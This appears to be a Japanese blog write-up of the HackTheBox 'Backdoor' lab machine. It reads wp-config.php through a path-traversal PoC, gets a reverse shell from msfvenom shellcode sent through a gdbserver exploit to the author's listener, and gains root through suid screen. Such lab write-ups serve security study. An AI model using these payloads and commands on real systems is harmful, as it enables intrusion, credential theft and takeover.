banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

hacktheboxのプラットフォームでのバックドアのプロセス記録

0x01 前書き#

image

ターゲットの IP アドレス:10.10.11.125。
自分の IP アドレス:10.10.16.21、mac m1。

0x02 簡単な情報収集#

fscan ポートスキャンでは、22 番と 80 番ポートのみが見つかりましたが、nmap スキャンでは 1337 番ポートも見つかりましたが、このポートの役割は不明です。

nmap -sS -A -sC -sV -p- --min-rate 5000 10.10.11.125

image

http://10.10.11.125/ にアクセスすると、WordPress のウェブサイトが表示されます。WordPress のバージョンは 5.8.1 で、バックエンドのログインアドレスは http://backdoor.htb/wp-login.php です。

image

wpsan スキャンの結果には有用な情報はありませんでした。

image

WordPress の wp-content ディレクトリの下にはプラグインディレクトリがあり、http://10.10.11.125/wp-content/plugins/ にアクセスすると、php ファイルと ebook-download ディレクトリが表示されます。hello.php はトロイの木馬ファイルだと思われましたが、分析の結果、トロイの木馬ではなく、plugins ディレクトリにある ebook-download は readme.txt を確認したところ、プラグインであることが確認されました。

image

image

0x03 脆弱性の利用#

https://www.exploit-db.com/ ウェブサイトで "exp" を検索すると、ディレクトリトラバーサルの脆弱性が見つかります。

image

以下は PoC です:

[Version Disclosure]
======================================
http://localhost/wordpress/wp-content/plugins/ebook-download/readme.txt
======================================
 
[PoC]
======================================
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
======================================

wp-config ファイルをダウンロードします。

http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php

このファイルにはデータベースのユーザー名とパスワードが保存されていますが、WordPress のバックエンドにログインしようとすると、ログインできません。

image

ここまでのところでアイデアがありませんでしたが、1337 番ポート上で実行されているサービスを利用することができることに気づきました。直接 RCE(リモートコード実行)が可能です。1337 番ポートで gdbserver サービスが実行されており、gdbserver の侵入については次のリンクを参照してください:https://book.hacktricks.xyz/pentesting/pentesting-remote-gdbserver、gdbserver の利用スクリプトの URL:https://www.exploit-db.com/exploits/50539。

脆弱性の利用手順:

  1. まず、exp をローカルにダウンロードします。
  2. msfvenom を使用してシェルコードを生成します。
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.21 LPORT=1234 PrependFork=true -o rev.bin
  1. ローカルでリッスンします。
nc -lvp 1234
  1. exp を実行します。
python3 gdbserver_exp.py 10.10.11.125:1337 rev.bin

image

対話型シェルにアップグレードします。

python3 -c "import pty;pty.spawn('/bin/bash')"

script /dev/null -c bash
ctrl+z
stty raw -echo; fg
reset
xterm-256color

また、ターゲットサーバーで実行されているサービスを探知する別の方法は、/proc/pid/cmdline ファイルを利用することです。/proc ディレクトリの直下には、数字で名前が付けられたディレクトリがあり、それぞれのディレクトリ名はプロセスの PID を表します。

image

Burp Suite を使用して PID を繰り返し処理し、ターゲットサーバーで実行されているサービスを列挙することができます。

0x04 昇格#

root ユーザーで実行され、suid が設定されているファイルを検索します。/usr/bin/screen というファイルが suid が設定されていることがわかりました。

find / -perm -4000 -type f 2>/dev/null

image

screen -x root/root

0x05 まとめ#

  1. 任意のファイル読み取りの脆弱性を利用して、ターゲットサーバーで実行されているサービスを探知する方法、screen の昇格などの知識を学びました。

参考:

https://book.hacktricks.xyz/pentesting/pentesting-remote-gdbserver
https://zhuanlan.zhihu.com/p/437147174

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。